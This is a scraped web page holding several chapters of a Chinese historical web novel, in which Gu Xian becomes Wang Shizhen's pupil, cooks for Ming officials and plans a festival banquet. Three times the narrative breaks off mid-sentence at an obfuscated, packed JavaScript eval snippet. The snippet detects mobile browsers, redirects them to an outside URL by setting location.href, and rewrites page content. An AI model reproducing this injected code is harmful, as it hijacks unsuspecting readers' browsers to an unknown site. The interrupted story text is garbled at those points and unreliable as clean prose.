哪怕自己不一定能活那么久,自己的子侄们总是能活到的,到时难道要让他们再经历一遍自己曾窥见过的惨烈时代吗? 世道一乱,什么恶事都有可能发生,人命还不如猪狗值钱。 顾闲也不知道往后有没有机会改变整个大明的命运,但看张居正他们的态度就知道了,早早去考个正经出身总不会有错。 没个功名在身,你连插嘴的机会都没有。 你菜做得再好,人家遇到家国大事会听你一个厨子的意见吗? 还是得考! 不想跟着张居正选治《礼记》不要紧,这不是有个现成的治《易经》的老乡吗! 王世贞听顾闲有意向治《易经》,点着头说:“我这段时间都借住在法华寺,你有什么不懂的大可来问我。” 若说一开始还有点不适应顾闲的热络,顾闲多来了几趟以后王世贞便习惯了,哪天顾闲不过来他还觉得静悄悄的。 出门在外听到乡音,对许多人来说都是一种难得的慰藉。 顾闲本就不是会跟别人客气的人,听王世贞这么说便开始顺杆爬:“我会的,往后我每天都来寻你!” 王世贞:“……” 倒也不必这么频繁。 当晚顾闲就回去跟张居正说,王世贞,好人呐!只是听我说有选治《易经》的想法,立刻就邀请我天天去找他请教。 张居正:? 要不是自己跟王世贞兄弟俩早有往来,听了这话都要觉得王世贞是一等一的热心肠了。 在了解双方秉性的情况下,张居正一听就知道顾闲这话有他自己添油加醋的成分在。 张居正道:“你决定好要治《易经》了?” 顾闲连连点头:“有点想学这个!” 张居正道:“正好元美近来得空,你跟他学学也好。这样吧,明儿我休沐,与你一起去给元美送份束脩,往后你得叫他一声老师。” 顾闲一脸纠结:“那辈分岂不是乱了,我一直与元美兄平辈相称!” 张居正:? 你这年纪比人家差了两轮都不止,得亏你喊得出口。 张居正道:“我教导你是因为我是你姐夫,可元美与你非亲非故,没有叫别人白教你的道理。” 顾闲一琢磨,也是这个道理。他咕哝:“就是不知道人家愿不愿意收我。” 张居正心道,难得你还有这样的自知之明。 只不过既然打算把顾闲塞给王世贞去教,张居正自然不会把这话说出口。他循循善诱:“你不是说他让你多去请教他吗?可见他也是愿意教你的。” 顾闲听了觉得有理,也不再纠结什么辈分了。 张居正能亲自带他走一趟,那是两家姻亲的情分,这样的别人求都求不来。 暂住在法华寺的王世贞哪里知道张居正的打算,他当晚在给家里写家书。 他们兄弟俩赶赴京师为父伸冤,自然不可能带上妻妾儿女一起来,一别多时,须得写封家书回去叫家里人安心。 既然是给自家人的信,王世贞写得颇为随意,还给家里人讲了讲遇到顾闲这么个小孩的事。 在王世贞这里,顾闲获得了同样的评价:这小子,一言难尽…… 没想到翌日一早,王世贞就听弟弟说张居正来访。 还带着他家小舅子,也就是他昨晚在家书里提到过的顾闲。 王世贞看看屁颠屁颠跑进来的顾闲,再看看张居正那轻快的步伐以及他手里拎着的束脩,心里有种很不好的预感。 果然,张居正与他们兄弟俩简单地寒暄过后,就说起走这一趟的来意:我这小舅子接下来就交给你教导了!他白天还没学堂可上,可以跟随在你身边学习。 王世贞:“……” 看来背后莫说人这句话还是有那么一点道理的,现在好了,报应来了吧。 早知如此,昨晚就不该在信里提及这小子。 张居正办正事时严肃认真,对待朋友却不是不近人情的性格,正相反,他是很擅长夸人的。 比如这会儿他就变着法儿夸赞起王世贞这位此前关系说不上非常亲近的朋友,顺便拉拉关系:你我是同年,你与我小舅子又是同乡,这是何等深厚的缘分。区区教导我小舅子这点小事,你应该不会拒绝的对吧! 王世贞一开始还挺受用,听到后头却莫名听出点“终于把这小子甩出去了”的如释重负。 可张居正都说到这种程度了,自己又有求于张居正,王世贞也只能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15869743|174837||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 收下这份有点儿烫手的束脩。 等到顾闲行过简单的拜师礼,喊了王世贞一声“老师”,这事才算告一段落。 张居正才与王世贞对坐说起王父的事情,这事肯定是能办的,只是最近朝中局势不大好,内阁正为言官的事扯皮,还得再等等。 王世贞当年便与头特别铁的谏官杨继盛交好,冒着被严嵩报复的风险也要帮着杨家人伸冤以及料理后事。 如今他住在离皇城这么近的地方,自然也听说了最近那几位谏官的遭遇—— 明明当初御史弹劾高拱也是有理有据的,结果碰上先皇驾崩不了了之,倒是叫高拱记恨上了弹劾他的御史。 王世贞从来都是个刺头,当着张居正的面也并不掩藏自己对此的看法:高拱指使自己人撵走御史,是在公报私仇、阻塞言路! 顾闲听到这里,不由偷觑了张居正几眼。 根据他对张居正不怎么保真的了解(大多数都是别人转述的野史),张居正在对待言官的态度上和高拱差不多:我搞改革的时候不需要有不同的声音,你敢在旁边叽叽歪歪就给我滚。 前段时间游七还跟他说高拱跟张居正是好朋友呢。 所以王世贞这是当着张居正的面骂他朋友,顺便把张居正本人也给骂了? 嘶。 不愧是你。 张居正本就知晓王世贞的性格,如今听他这么说也并不意外。 这也是他犹豫着往后该怎么安排王世贞的原因。 王世贞这人太直了,眼睛里揉不进沙子,放在京师很容易得罪人,放到外面估计也不会好到哪里去。 不说已经去世十余年的杨继盛,上一个连皇帝都敢骂的直臣海瑞,那也是前不久才从牢里放出来。 这并不是张居正需要的人才。 他需要的是能完全按照他的指示把事情落实下去的类型。 对方有没有高远的志向、对方是不是真心实意迎合自己,都不是张居正需要考虑的事情。 只要事情办妥了,谁在意他们是否有私心? 像王世贞这种太有自己想法的,反而很难掌控。 张居正在心里头把王世贞拨到了“不好用”的那边,面上却仍是如同老友般与王世贞闲谈。 他虽不打算把王世贞拉进自己的班子,却也没打算与王世贞交恶。 王世贞与李攀龙他们这批人在文坛地位极高,此前李攀龙隐居家乡、闭门谢客,凡是能见到他面或者能得到他几句点评的人都能声名大噪。 这几年来王世贞隐隐有与之比肩的势头,但凡是文章能被他夸上一句的,基本都能在文人圈子里混个眼熟。 这种影响力说有用吧,大多时候都派不上用场;说没用吧,它又有可能影响到整个士林的风向。 顾闲这小子最是机灵,若是能坐实这段师生关系,往后真生出什么矛盾也能缓和缓和。 实在没法转圜也问题不大,王世贞的学问教导顾闲本就绰绰有余,沾到人家几分才气也算这小子赚到了。 张居正这般想着,便转头叮嘱顾闲往后好好跟着王世贞学点真学问。 顾闲立刻一脸腼腆地表示自己会天天过来跟王世贞学习。 王世贞:“……” 怎么办,脑壳已经开始隐隐作痛。 15.第 15 章 顾闲得了个新老师,翌日一早送完张居正上衙,就乐颠颠地赶着鹅去王世贞那边读书。 圈好鹅后,顾闲还给王世贞解释:“这几天淘淘把姐夫家的花坛翻得差不多了,得养上几天才有嫩草给它吃。华寺这边的土它还没翻过,正好让它翻翻!” 王世贞奇道:“这只鹅怎么叫淘淘?” 顾闲道:“是我起的,我听人说唐朝人都爱养鹅,尤其是盛产金子的地方,他们会让鹅下河淘金,完了把鹅粪淘一淘,不费吹灰之力就能收获许多金子!”他一脸羡慕,“等淘淘大了,我也让它去河里玩耍,看能不能淘出金子!” 王世贞:“……” 开始回忆自己家里有没有金子做的东西。 怎么感觉家里的金饰多了一股突如其来的鹅粪味? 为了不让自己每次看到金器都想起鹅粪,王世贞客观分析:“你也说得是盛产金子的地方,寻常河道哪怕放一万只鹅恐怕也淘不来金。” 顾闲一脸扼腕:“您说得对。”他伸手拍了拍淘淘的脑袋,“淘淘你真没用,回头只能做成烧鹅。” 灰不溜秋的小鹅回他一声满含疑惑的鹅叫。 鹅听不懂,鹅要去找草吃了! 王世贞:“……” 王世贞在旁读书,顾闲也跟着读,但他读书读到新鲜东西就要凑到王世贞边上分享,不时提出一些连王世贞都想不到的新角度。 本来王世贞想着为牵挂亡父翻案的事一直心情恹恹,听顾闲吧啦吧啦一早上就感觉吧,原来旁边多了个人就能这么热闹。 好不容易习惯了顾闲即时分享读书所得的做法,可以和平时一样安心看书写信了,又被顾闲从座位上薅起来出去遛弯。 还被邀请去庭院活动活动筋骨。 王世贞试图用沉默来抵抗,但还是抵不过顾闲过于旺盛的热情。 比如这家伙听到他活动脖子时发出的咔啦咔啦声,还忧心忡忡地边模仿那声音边表示他的颈椎也要爱护起来了。 才四十出头的人,难道要带着各种病痛度过余生! 这一套一套的劝说有种奇异的魔力,等王世贞反应过来时已经处于跟着顾闲做完一整套养生健身运动的状态。 还是听顾闲说他平时也有热情邀请张居正他们一起运动,王世贞心里才舒坦了许多。 张叔大都鬼迷心窍跟着干了这事,他拒绝不了也很正常吧? 等中午顾闲跟着悟真和尚跑去研究斋饭,王世贞才算清静了一会——但也只有那么一会。 因为午饭顾闲把悟真和尚邀来一起吃了。 五月伊始,正是各种瓜类新鲜上市的好时节,顾闲淘了几个刚熟透的小番瓜,挖开炖了几盅清甜可口的杂菌汤。 悟真和尚边喝了口鲜掉眉毛的汤,朝顾闲夸道:“这吃法倒是挺别致,以后有贵客来了可以做给贵客们吃。” 顾闲道:“那得马上准备起来了,夏天和秋天吃最适合,过了季就不相宜了。” 因着看法华寺里的番瓜熟得早,他刚还特意让郑大往内阁那边送了几盅。 普通人自是不好送餐食进宫的,不过光禄寺那边本就要往内阁送饭,拜托那边一并送进去就好。 今天的番瓜皮厚肉美,正好能保鲜,菌汤多放一会依然风味极佳,张居正中午不管是吃面还是吃馒头都能搭配着吃。 吃饱喝足,顾闲还跟王世贞分享:“现在都是嫩瓜,籽少,等过一两个月才番瓜籽多起来了,咱可以炒些椒盐番瓜子送茶,特别香!”他跟王世贞说起这东西的妙处,“夏天许多人贪凉,爱喝生水、吃凉拌菜,肚子里容易长虫,入秋后偶尔吃些番瓜子正好可以驱虫!” 正端起杯茶水准备喝的王世贞:“……” 王世贞手微微停顿了一下,目光落在杯中的茶水上。 还好,茶是要先把水煮沸才能泡的,不算是喝生水。 好端端的,这小子说什么夏天肚子里容易长虫? 害他把过去四十年夏天吃过的东西都想了一遍,以此确定自己肚里安不安全。 顾闲一点都没有刚才在危言耸听的自觉,很快又投入到知识的海洋之中。 他觉得跟着王世贞学习很快乐,王世贞什么都懂,他的所有疑问都能马上得到解答! 王世贞:“……” 算了,这小子的提问还挺有意思的。正好可以消磨消磨时间,省得一天到晚枯等外头的消息。 …… 另一边,张居正结束了一早上的工作,准备用午饭。 光禄寺的饭菜味道本就不怎么样,送过来还快凉了,吃起来味同嚼蜡,所以一旦忙起来张居正就放着不吃。 今天倒是有点特别,因为来送饭的差吏说他小舅子托他们顺带送个食盒过来。 光禄寺一向爱看人下菜碟。 比如皇帝大宴群臣时,皇帝和朝廷要员都坐在殿内,所以殿内的饭菜会新鲜一点;而外头的廊庑下坐着的低品官员的菜十盘有八盘是凉的。 给外宾的饭菜就更过分了,不仅是凉的,甚至还有点发臭! 没错,咱就是看不起你,你敢去告状吗? 就是因为光禄寺这个“爱吃不吃”的态度,京师向来有这样的时谚:“翰林院文章,武库司刀枪,光禄寺茶汤,太医院药方。” 讲的是这四样东西都很名不副实。 幸而现在张居正入了内阁,待遇大大提高,不仅有了新鲜热乎的饭菜,连家里人想捎点吃食进来光禄寺那边都欣然同意。 听说是顾闲托人捎来的,张居正先是觉得这小子心思活络,才到京师没几天就连光禄寺那边的门路都摸清了;而后就是……放下手里的公文,准备先吃了午饭再说。 普通人家里很多一天只吃两顿,他们却是早早就得起来点卯,一大早只匆匆吃了点朝食垫肚子,中午不吃很难坚持到傍晚下衙。 一打开食盒,张居正发现里头不止一份汤,而是给内阁几人都备了一份。 应当是顾闲觉得难得托人往内阁送一次吃食,只送他自己这份不太好,索性送了六份。 张居正不是爱跟人分享食物的性格,不过既然顾闲都送来了,他取出自己那份杂菌汤,边让人给高拱他们分过去边说道:“这是我那小舅子托光禄寺送来的汤食,也不知味道如何。” 徐阶是很注意饮食洁净的,本想说自己对外食不感兴趣,却闻到一股鲜香往自己鼻子里钻。 他转头看去,只见张居正掀开了番瓜雕出来的盖子,那杂菌汤的香味就这么飘了出来。 橙红的番 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15874573|174837||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 瓜肉成了现成的汤盅,鲜汤盛在里头竟比自己平时用的昂贵瓷盅更有食欲。 只看了这么一眼,徐阶拒绝的话就说不出口了。 没办法,这真的很香,也真的很诱人。 到底是自己学生的一番心意,他怎么都该尝尝看。 徐阶这么说服了自己,打开自己那盅番瓜杂菌汤尝了一口,顿觉忙碌大半天的疲乏与烦闷都消失了。 他看了眼其他人,发现其他人也都喝了起来,便也不再矜持,一口气把整盅杂菌汤都喝光了。 有这样鲜美的汤食开胃,连带光禄寺送来的饭菜仿佛也变得可口起来。 在场几人心里突然生出一个想法来:什么时候去张居正家里聚个餐?让张居正那小舅子下厨的那种。 高拱一点都没藏着掖着,与张居正一同前去给隆庆皇帝午讲时直接就说:“你年初入阁和乔迁一起请客,总觉得少请了一顿。过几天就是端午了,你是不是该安排安排?” 张居正大方地应承:“你们要是愿意来我肯定安排。” 两人说定此事,便去给隆庆皇帝完成最后一次春讲。 隆庆皇帝偶尔会给人一种他可以成为明君的错觉,比如他在上课这件事上很积极,在经筵与日讲的基础上还增加午讲。 也就是午后再请几个大臣过去开个专题讲座。 经筵与日讲基本都是大臣在讲,皇帝坐着听,双方的交流非常少。 成化年间处境曾经有大臣写回忆录时遗憾地说,以前皇帝听完课后会来一句“先生们吃酒饭”,现在讲完课直接给你端来酒饭,皇帝完全不开口,更别提喊先生,令讲官们无比失落! 现在隆庆皇帝单独增加的午讲,与几位阁臣就有了私下交流的机会。 这日由高拱和张居正过来值讲,两人都曾在裕王府当过讲官,算得上是潜邸旧臣,君臣之间的气氛就松快许多。 才入席,隆庆皇帝便叫人赐茶,颇为怀念地看看高拱,又看看张居正,仿佛又回到了裕王府中的日子。 当初先皇接连夭折了好几个皇子,他自己也没了两个孩儿,以至于先皇愈发相信方士所说的“二王不相见”,一年到头都不召见他一次。 连海瑞都看不下去,直接进谏说先皇这么做令天下人寒心! 今日午讲的地方选在文华阁相对私密一些的后殿,这本是皇帝上课期间歇息、更衣的地方。 隆庆皇帝想借此机会和高拱两人好好聊聊,诉说一下初为人君的烦心事,这才邀两人入后殿来。 不想坐得近了,隆庆皇帝嗅到了两人身上的……汤香?! 每每要到御前来讲学,讲官们都会提前沐浴更衣,不吃味道太重的食物,像葱、蒜、韭菜之类的,那都是坚决不能碰的。平时隆庆皇帝与朝臣们离得近些,闻到的也只会是各种清雅浅淡的熏香。 结果今天隆庆皇帝发现自己一左一右的两位潜邸旧臣,身上散发着一模一样的香味! 隆庆皇帝顿时忘了自己此前准备跟高拱两人聊的话题,追问道:“高爱卿,你们刚才吃了什么?好香的味道。” 高拱:“……” 张居正:“……” 完了,怎么带着味来午讲了? 吃的时候也没说衣服能沾上香味啊! 16.第 16 章 说实话,三人之间君臣关系虽不错,却也没有好到交流吃了啥的程度。 说句不好听的,你一个大臣给皇帝介绍吃的喝的,史书里记上一笔就成“幸进”了。谁家正经大臣干这种事? 弘治一朝,就有位叫丘濬的大臣通过宦官给皇帝献上了自己做的饼,后来他入阁当了阁老,便有人戏称他做的饼是“阁老饼”。 这事儿要是搁在面皮薄的人身上,晚上哪里睡得着觉? 张居正和高拱对视一眼,都在彼此眼里看到一句话:要脸! 高拱笑着把事情引到张居正身上:“是张居正家里给他送来的汤食,也不知是怎么做的,吃着特别香。” 隆庆皇帝一听,转向张居正,见张居正眉目冷峻,一副“这不该是君臣之间该有的对话”的端肃表情。他这段时间接触了那么多朝臣,比从前更了解张居正他们的脾气,只得说道:“张爱卿家里倒是有心了。” 张居正面露无奈:“是我那刚到京师的小舅子不懂规矩,私自托人送过来。我想着送都送了,不好白白浪费才给吃了。” 隆庆皇帝平日里的饮食由尚膳监负责,近来做的吃食都十分美味,都是底下的宦官在变着法儿讨好他。 比起在前朝听文武百官讲一堆虚头巴脑的话,这些内官献上的各种宝贝倒是更叫他找到了当皇帝的快乐。 偏偏户部那边很不识趣,总喊没钱,他这个皇帝想调用些银钱都不给。 隆庆皇帝很恼火。 那么大一个大明,怎么会没钱?大明那么多土地可都是要交田税的,怎地到了户部那边就说这也不够、那也不够,劝他不要过于奢靡。 隆庆皇帝一想到朝堂上那堆糟心事,顿时就没了闲谈的兴致,只坐在那儿听高拱他们轮流讲学。 至于听进去几分,那就无人知晓了。 过了五月初二,春讲就该结束了,后头暑气渐重,为了皇帝和讲官们的身心健康不适合再每天讲学。 张居正心中隐隐有些忧虑,接下来他们能与隆庆皇帝直接交流的机会更少了,不知道高拱熬不熬得过朝中这场针对他的攻讦。 在此之前,徐阶和高拱几人都已经因为内阁中的纷争轮流递过辞呈。高拱更是已经递过两回,俗话说“事不过三”,再这么下去乞骸骨归乡这招就不好用了。 高拱要是真走了,对他而言也不知是好事还是坏事。 …… 顾闲哪里知晓自己送的番瓜杂菌汤叫皇帝都闻到了味儿,傍晚从张居正那儿听说的时候还吃了一惊。 顾闲搓手:“那我下次要不要把咱陛下的份也送了?” 那可是皇帝欸,皇帝吃了都说好,在这个时代的厨艺界岂不是可以横着走! 张居正一看顾闲那表情就知道他在想什么,摇着头说:“哪能随便送外食进宫?我跟你说这件事,也是让你以后别再托光禄寺那边往内阁送吃的了。若是以后人人都那么干岂不是乱了套?” 顾闲本还觉得这只是件小事呢,听张居正这么说便记在心里,有些郁闷地说:“那好吧。以前我在县学给我哥加餐,都是托人顺便捎过去的。” 张居正道:“地方上讲的是人情世故,许多事都可以通融。京师乃是天子脚下,我又以四十出头的年纪入了内阁,盯着我的人不知凡几,说不准就有言官揪着这事儿公器私用。” 最近高拱算是捅了言官窝,御史们集中火力找高拱的茬,逼得他屡次提出请辞。 高拱真要被撵出内阁,说不准就轮到他了。 毕竟这些御史的职责就是闻风奏事,每个季度还有弹劾指标,要是没有弹劾满次数就相当于玩忽职守! 为了自己的年终考评能过关,这些言官可不就一天到晚鸡蛋里挑骨头吗? 要是恰好上头有人需要自己弹劾某人,那就更好了,又可以完成弹劾指标又有人保,何乐而不为! 正是因为不想沦为集火对象,张居正平时对几个孩子约束得很严格,严禁他们答应任何人的请托。 眼看来了顾闲这么个漏网之鱼,张居正不得不跟他来了次严肃的谈话:留在京师学习可以,绝对不能再干今天这种事。 顾闲听得瞠目结舌,咕哝道:“还能这样吗?也太没事找事了!” 张居正道:“向来如此。” 不是他不喜欢言官,而是除却杨继盛这种真正悍不畏死的存在,许多言官本身也没什么立场可言。 比如让御史出去地方上巡察,他们吃拿卡要的嘴脸与其他贪官污吏没甚区别,倘若私欲没得到满足还要写些义正辞严的奏疏来抨击不愿意逢迎他们的地方官员。 了解多了他们私底下的德性,张居正便不怎么喜欢这些家伙。 监察百官是必要的,但大明现有的监察体制已经被玩成了筛子,若是由他来主政肯定要好好整顿一番。 当然,在他真正手握权柄之前,再多的不满意也只能先隐而不发。 张居正跟顾闲聊完了正事,才问起顾闲今天的学习情况。 提起这事,顾闲话可就多了,直夸王世贞博闻广识,什么都懂一点!无论他问啥问题,王世贞都能第一时间给他解答。 顾闲满脸感动:“老师人真是太好了!”这么夸完,他又凑近跟张居正说悄悄话,“就是平时运动太少了,做起养生健身操偶尔会同手同脚的,不如姐夫你协调!” 张居正:“……” 光是听你这么一说,就能感受到王世贞一整个白天过的是什么日子。 还有,你不会在王世贞面前说“我姐夫也做了这养生健身操”吧? 瞧这小子回来都讲王世贞运动时同手同脚了,实在不愿细想这小子每天会在旁人面前说他什么。 顾闲可不晓得自己在张居正心里是怎么个形象。 话题都聊到这里了,顾闲又怂恿张居正跟自己出去运动运动,有什么话边走边聊! 张居正想想顾闲那张很擅长危言耸听的嘴,只能跟着他出去练起了养生操。 趁着锻炼间隙,张居正才顺嘴和顾闲说起高拱等人端午可能来做客的事。 这事是顾闲送的番瓜杂菌汤引来的,还得顾闲辛苦下次厨来招待客人。 一听是让自己下厨,顾闲顿时就来劲了:“没问题,只管交给我,保证让大家都腆着肚子离开!” 张居正脑海里出现高拱等人挺着个大肚子离开张家的画面,一阵沉默。 倒、倒也不必如此。 张 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15884808|174837||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 居正道:“你明儿顺道给元美捎个帖子,看看他来不来。” 有顾闲这个大嘴巴子在,王世贞肯定会知道这次宴请之事。他与王世贞到底是同年,又让顾闲拜了他当老师,断没有请了其他同年不请王世贞的道理。 不过是顺嘴问一声的事。 顾闲连连点头。 对顾闲来说,整治一桌大席可是桩大事,他当即积极地问起到时候会来多少人、客人们都是哪里人士、有什么偏好和忌口。 张居正一般不自己经手这些琐事,听顾闲越问越多,便喊来游七跟他对接。 游七是张居正从老家带过来的,年轻力壮,又会来事,张居正许多对外的事务都交给他去办,外头的人也都知道他代表的是谁。 顾闲与游七也算熟悉了,张居正走后他又跟游七聊了一会,很快把这批名单都了解得清清楚楚。 这次宴会虽是在张居正家办,但另一个牵头人是高拱。以高拱目前在朝中的处境,来的人不会太多,大多都是高拱一系的成员。 顾闲在里头听到个挺熟悉的名字,张四维。 这张四维与高拱关系密切,两人都跟杨博家有姻亲关系,高拱提拔起来的王崇古还是张四维舅舅,四舍五入妥妥的一家人。 更重要的是,他们家祖上曾是有名的盐商,后来家中子弟陆续当了官,顺利达成了官商一家亲的大好局面。 据说张四维家富得流油,逢年过节积极给张居正送礼,张居正颇为感动,拉拔张四维进了内阁。 结果后来张居正不在了,他的家是张四维抄的,他的改革举措也是张四维废止的。 顾闲仔细盘了盘里头的关系,赫然发现张居正这是选了个仇家当继任者啊! 记得那场抄家的祸事是奔着要张居正全家性命去的,若非朝中还有人冒死求情,估计连张居正家的八十老母都没能幸免。 大外甥,危! 小外甥们也危! 没想到这时候张居正跟高拱的关系居然这么好,高拱还把自己一系的人带来张居正家聚餐。 玩政治的真是叫人看不懂! 顾闲在心里嘀咕了一会,还是按照从游七那里得来的宾客资料筹备起来。 真正的报复不是给他们上难吃的饭菜,而是给他们尝尝特别合自己胃口的人间至味,叫他以后日思夜想却怎么都吃不着! 山西人么,爱吃醋的,等他这两天去寻摸点好醋。而且他记得晋西北一带有种很特别的黄米粽,这个也可以蒸上一锅! 顾闲针对宾客名单划拉了一溜清单,第二天就去与王世贞说起此事,表示自己这两天可能得亲自给食材把把关,没空跟着王世贞学习了。 本来王世贞心里还有点发酸,心想张居正请了这么多人都没请自己,到底是道不同不相为谋…… 结果顾闲在那吧啦吧啦讲了一通,该讲的不该讲的全给讲了,才像是想起了什么似的一拍脑门,掏出张帖子凑到他近前说起张居正的邀约。 王世贞:“……” 敢情他刚才白感慨了,人家张居正并不是没请他,只是传话的人不太靠谱! 顾·不太靠谱·闲毫无自觉,还在那一脸期待地追问:“您到时候来不来?” 17.第 17 章 王世贞在不到一刻钟内,心情跌宕起伏,脑海里的念头从“想跟张居正绝交(单方面)”一直转到“想跟这小子断绝师生关系”。 算了,听他的说法,当天还得他下厨来着,先留着吧。 王世贞也知道自己闲居多年,与步步高升的张居正等人已经不是一路人,同年之中与他往来比较多的唯有前些年罢官归家的汪道昆。 只不过知道是一回事,心里有没有落差又是另一回事。但凡他们之间完全没了往来,王世贞都不会多想,这不是张居正还把自家小舅子塞来他这里了吗? 王世贞心里想了很多,面上却云淡风轻地收下帖子:“也好,我也想多尝尝你的手艺。” 顾闲一听,尾巴顿时翘了起来。他立刻拍胸脯说道:“我一定多做几道菜,保证让您吃得尽兴。” 爱下厨的人爱的当然不是厨房里的烟熏火燎,爱的是各种好食材在自己手里烹调成美味佳肴,爱的是饭菜上桌后有亲朋好友一起分享。 即便算不得亲朋好友,遇到能吃到一起的食客也是极好的,至少酒宴饭桌上短暂的欢欣能叫人忘却外面的纷纷扰扰。 顾闲记得他那平时不怎么爱说话的师父,喝上两口酒话就多了,偶尔还会半疯半癫地唱起来:“今朝有酒今朝醉,明日愁来明日愁。” 食客们听了也都哈哈大笑,跟着敲碗的敲碗、拍桌的拍桌,苦中作乐地从头跟着唱一遍。 那时候师父不给他掌勺,说他还没到出师的时候。顾闲幻想过自己狠狠地学走师父所有本领,叫师父体会一下什么叫做“教会徒弟饿死师父”。 现在不一样了,他不用出师也能掌勺,而且一到京师就接到了大单,要宴请当朝阁老!回头他要去江头浇几杯酒,告诉师父自己比他有出息得多。 顾闲与王世贞报备过了,便去寻悟真和尚说话。 有些素菜得提前准备,而且不能光靠他自己动手,所以他准备跟悟真和尚聊聊合作。 悟真和尚听说是要做素菜,也来了兴致。 虽说佛寺大多很世俗化,宋朝的大相国寺就有个“烧猪院”,说是有个和尚做的烧猪非常好吃! 当时的文坛领袖杨亿去吃了一顿,跟特别擅长烧猪的和尚聊了聊,说你一个寺庙里有个烧猪院多不好听,我给你改个名吧,叫烧朱院。 那和尚欣然接受,对外宣布改名,并强调是当代文坛大佬杨亿给改的,于是大相国寺的烧猪卖得更火爆了! 悟真和尚这烤鸭手艺虽是半推半就传扬开的,多少也有点效仿前人的意图。 没办法,只要是有人的地方就分个三六九等,他不想当那末等的任人欺辱,便要早早寻点安身立命的法子。 但这样剑走偏锋也有坏处,比如每逢考核时同等地位的师兄弟便有可能拿这事来攻讦他不守清规戒律。 若是能有那么一两样独门的素菜生意,烤鸭之事便可外聘些人来做了,无须他自己继续沾手。 悟真和尚此前便与顾闲提过一嘴,又亲自来给他送了上次那篇文章的润笔费,顾闲便第一时间与他说起自己的新想法。 寺里便有做豆腐的工具,豆子又便宜,正好可以做些豆肠。 制作流程并不复杂,只消把上好的豆子磨成浆静置一段时间,再用准备好的棍子将上方凝结出来的豆皮卷上一圈,就可以收获一份豆肠了。 这东西虽是素菜,吃起来却口感丰富、层次分明,炒着吃、烤着吃、凉拌着吃都很不错,一点都不比肉菜差。 不过许多豆制品需要的调料佛家大多不能用,顾闲在周围的集市里扒拉了一圈,居然扒拉出了柠檬。 时人叫它黎檬子、里木子,最初只长在广东、海南一带,北方比较少见。 据说北宋大文豪苏轼有个叫黎錞的友人平时跟木头似的反应很慢,朋友们戏称他为“黎檬子”,并不知道真的有一种水果。 有天他们一起骑马出行,听到集市里有人吆喝着卖这玩意,苏轼大笑出声,乐得差点摔下马! 后来苏轼被贬去海南,看到满树的柠檬果后叹息不已,自己屡遭贬谪、颠沛流离,昔日一同说笑游玩的故友更是深埋泉下,怎么能让他不唏嘘! 到了元朝,据说忽必烈和元朝贵族们都爱上了“里木渴水”这种时兴饮品,专门在广东开辟了御果园种植柠檬保证能供应到位。 经过这么多年的发展,柠檬这种酸掉牙的果子会出现在市面上也不稀奇,毕竟无论是调配饮子还是做菜都用得上。 很不错,这两天雨停了,天气又闷热起来了,冰镇柠檬饮子也给安排上! 文化人聚餐,怎么能不来点文化人典故?到时候也好跟满桌的文化人侃大山,随随便便就能从苏东坡侃到忽必烈,根本不带冷场的。 顾闲愉快地决定好饮品,继续和悟真和尚做起了特别适合夏天的凉拌素豆肠。 第二天晚上,张居正一家就尝到了顾闲从法华寺捎回来的豆肠。 豆皮这东西不算新鲜,各地都有差不多的做法,不管是鲜吃还是风干都各有风味,张居正家乡那边便有人做三鲜豆皮当朝食。 只不过顾闲的料汁调得好,豆肠本身又更有嚼劲,吸饱酱汁后一口咬下去满口生香。 有这么一道凉拌菜在前头,大家这顿饭都胃口大开,感觉这也好吃那也好吃。 以至于顾闲询问张居正对这两天做的新菜有什么意见时,张居正都没能说出点有效的建议来,只能说道:“朋友聚会而已,你按照自己的想法做就好。” 私心里,张居正觉得再挑剔的人都没理由来挑顾闲的手艺。 且不说顾闲连豆皮都能做得这么好吃,就算真不合他们胃口又怎么样?到别人家里吃饭,没谁会当面说些不中听的话。 顾闲明白了张居正的意思,便不再拿这点小事烦他,继续去厨房安排帮厨们接下来要干的活。 这两天大伙可有得忙了,一方面要包粽子,一方面又要筹备明天的端午宴。要不是府中人手充足,顾闲还真不敢大包大揽地说自己能筹备这么一桌宴席。 翌日一早,顾闲就拎着一串粽子出门遛弯,看到谁家在吃粽子就凑过去说要跟人家换着吃。他眉飞色舞地介绍:“这是我做的肉粽,吃过的都说好!” 他一个半大小子,又长得浓眉大眼、十分讨喜,许多人哪怕没吃过肉粽,也乐意拿个自家的粽子跟他换。 这可是有肉的粽子,能难吃到哪里去?换了不亏! 顾闲一路换过去,不仅跟早前认识的朋友巩固了一下感情,还新认识了不少邻里。 有人知晓他目前住在张居正家,还跟聊起最近张居正家天天飘出诱人香味的事。 一位受害者家长头疼地抱怨:“太过分了,我家娃子每天闻到味就嗷嗷哭,说不要家里的饭菜,要吃外边的!” 